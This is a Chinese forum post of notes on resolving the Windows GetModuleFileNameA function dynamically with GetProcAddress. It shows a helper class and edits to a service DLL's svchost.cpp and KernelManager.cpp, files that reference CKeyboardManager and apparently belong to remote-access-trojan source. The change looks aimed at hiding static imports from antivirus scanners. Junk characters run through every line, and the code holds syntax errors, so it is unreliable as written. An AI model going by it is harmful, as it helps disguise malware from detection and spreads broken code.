|

- 帖子
- 11
- 积分
- 14
- 威望
- 17
- 金钱
- 10
- 在线时间
- 0 小时
|
全局动态调用笔记
# k, r, h/ h1 L ^svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h8 T2 M5 l, J2 m* F0 W g) O
----------------------------------------4 J6 ], C# }0 M; Y
DTDY.h:* k1 V; _% b3 {
! \8 J! P: N9 b, y3 X% ]
#if _MSC_VER>1000% y- h# F: f) n, \" n* O8 {
#pragma once! c7 A& a* _1 C# ~( x& |
#endif //_MSC_VER>1000
, Y# y+ L8 `; J; A#include<windows.h>5 g% g0 [6 F" L$ @
, C( r2 p; C; }" e itypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);& S+ {* P+ M% m, W; J
class DTDY* n9 j( R$ _7 D; m6 [
{
1 z9 u: b! N& x( X( C$ m( @6 lpublic:# b9 A# Y9 Z6 L8 U" U& o/ {: G
DTDY();
8 D5 J2 R* P% t- zvirtual ~DTDY();# e$ e5 k$ @. o$ U$ I+ w
public:
9 c) |! T! K" _- r& ystatic pGetModuleFileNameA MyGetModuleFileName;
L! p4 @$ S# o O7 q, L$ L6 K+ K5 Zstatic BOOL FunInitiallization();' j" v4 ?& e3 i5 X. Z, N
};
/ K S) \4 P* ?5 J7 }( e! n" t#endif5 _+ P4 e0 L) P8 S2 l1 A2 W
----------------------------------------
" d% n" s9 _( P$ V; ?+ b! J5 d: ?0 S; S- F1 Y
DTDY.cpp:
# [; S9 [$ Q) ?! j& e5 x* p0 S" x4 I; N- ~
#include "DTDY.h"6 N- f4 o7 v* y& x9 |
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
, j( F5 a! m" D& c1 t% wDTDY:TDY()! H0 {! o, R) z. Z% X5 S
{: u7 W+ j, a& L( g4 v3 z
}/ ^- y) }" J( T! o- e' P5 v
DTDY::~DTDY(). q/ [% |% [0 Z9 b
{
4 [* ^9 u; I; R}5 ]/ A* J( d6 T2 X" H. M; _1 Q- E
BOOL DTDY::FunInitiallization()
5 k- P) P( r+ \+ T8 J{
7 R$ J4 s# n+ ZHMODULE hModule=LoadLibrary("kernel32.dll");
% ~/ k% l" t1 Q+ \+ C! yMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");- m. v! V" O/ L) z
if(!MyGetModuleFileName=) return FALSE;
- r1 K* h! B4 t f. ]( k' \ ~4 c6 |% w4 D9 w5 S
return TRUE;; [! Y# R# G' a% W- t& b3 j6 l0 `
}
% J/ t( E0 G1 z& s----------------------------------------! w+ `4 J) _5 A1 v: f
svchost.cpp:
" \% n; T) [! e& N; j5 F" h! x1 ]; s) q. d
#include "DTDY.h"2 G# e3 l7 F! g. R
+ E5 ~ F: R1 y9 _8 T0 ~# L
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)) l# ]4 b% Y+ N4 d4 m5 v1 x
{
. _- y* e0 {. x3 h' S* D8 n" ?1 Wswitch(ul_reason_for_call)# M0 K; Z% i4 |. T" B0 b9 d7 v
{
. A e7 p, f% y0 @case DLL_PROCESS_ATTACH:: u/ h8 c( H. J$ K
if(!DTDY::FunInitiallization()) return FALSE;, H% u, C% T E2 \: C0 D
; `1 N6 V: C4 Z( }break;
9 J, d3 @# F/ h5 B9 I}, K9 B! p' U, e& p( U( e9 \
}
4 n3 R/ `' I2 B5 @3 }7 a; Q
7 Y# R4 q6 r q/ L, g9 C5 O9 m6 D% T2 s
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def9 N- J; W% g( J; s# m
改写为
5 @: u9 I) `8 I+ ?3 n3 ODTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
1 z. T4 T. f2 M' o. d3 w0 c0 b, r' G) M# K----------------------------------------1 m* t a! m v( D! R
KernelManager.cpp:; S+ N5 }. i9 V9 P( J
* ~' h; X+ Y( v& {0 u#include "../DTDY.h"
. ~- m; T ?# }2 R8 iGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));8 u- i) p+ X5 ~4 \0 i; R# x Z
改写为
) f' j S* y) m, i/ Y# i8 yDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
o' g2 j6 Z+ J; ?% R$ ]---------------------------------------- |
|